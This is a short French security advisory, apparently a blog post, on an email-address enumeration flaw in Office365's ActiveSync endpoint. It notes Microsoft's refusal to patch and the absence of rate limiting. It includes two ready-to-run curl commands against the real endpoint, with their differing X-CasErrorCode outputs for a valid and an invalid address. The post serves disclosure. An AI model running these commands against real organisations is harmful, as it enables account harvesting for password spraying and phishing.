Office365 / Fuite de données - Énumération d'adresses mail valides

|

Le service ActiveSync d’Office365 présente une faille permettant de vérifier la validité des adresses mail d’un domaine (si l’adresse mail est utilisée en tant qu’identifiant). Les retours HTTP sont en effet différents en fonction de l’existence ou non d’un identifiant spécifique.

Ce problème a initialement été signalé ici : https://www.sec-1.com/blog/2017/office365-activesync-username-enumeration

Prévenu par l’auteur fin juin 2017, Microsoft n’a pas jugé ce problème suffisamment critique pour prévoir un correctif.

L’url ActiveSync d’Office365 (https://outlook.office365.com/Microsoft-Server-ActiveSync) ne semble par ailleurs pas être protégée par un système de throttling permettant d’éviter les requêtes trop nombreuses sur une période donnée, ce qui laisse la porte ouverte à une exploitation massive.

Exemples

Adresse e-mail valide (prenom.nom@mondomaine.fr)

$ auth=$(echo -n 'prenom.nom@mondomaine.fr:motdepassebidon' | base64); curl -v -X OPTIONS \
-H "OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1" -H "Host: outlook.office365.com" \
-H "Connection: close" -H "MS-ASProtocolVersion: 14.0" -H "Content-Length: 0" \
-H "Authorization: Basic $auth" https://outlook.office365.com/Microsoft-Server-ActiveSync \
2>&1 | grep "X-CasErrorCode"
<pas de retour>

Adresse e-mail inexistante (prenom.nom.bidon@mondomaine.fr)

$ auth=$(echo -n 'prenom.nom.bidon@mondomaine.fr:motdepassebidon' | base64); curl -v \
-X OPTIONS -H "OPTIONS /Microsoft-Server-ActiveSync HTTP/1.1" -H "Host: outlook.office365.com" \
-H "Connection: close" -H "MS-ASProtocolVersion: 14.0" -H "Content-Length: 0" \
-H "Authorization: Basic $auth" https://outlook.office365.com/Microsoft-Server-ActiveSync \
2>&1 | grep "X-CasErrorCode"
< X-CasErrorCode: UserNotFound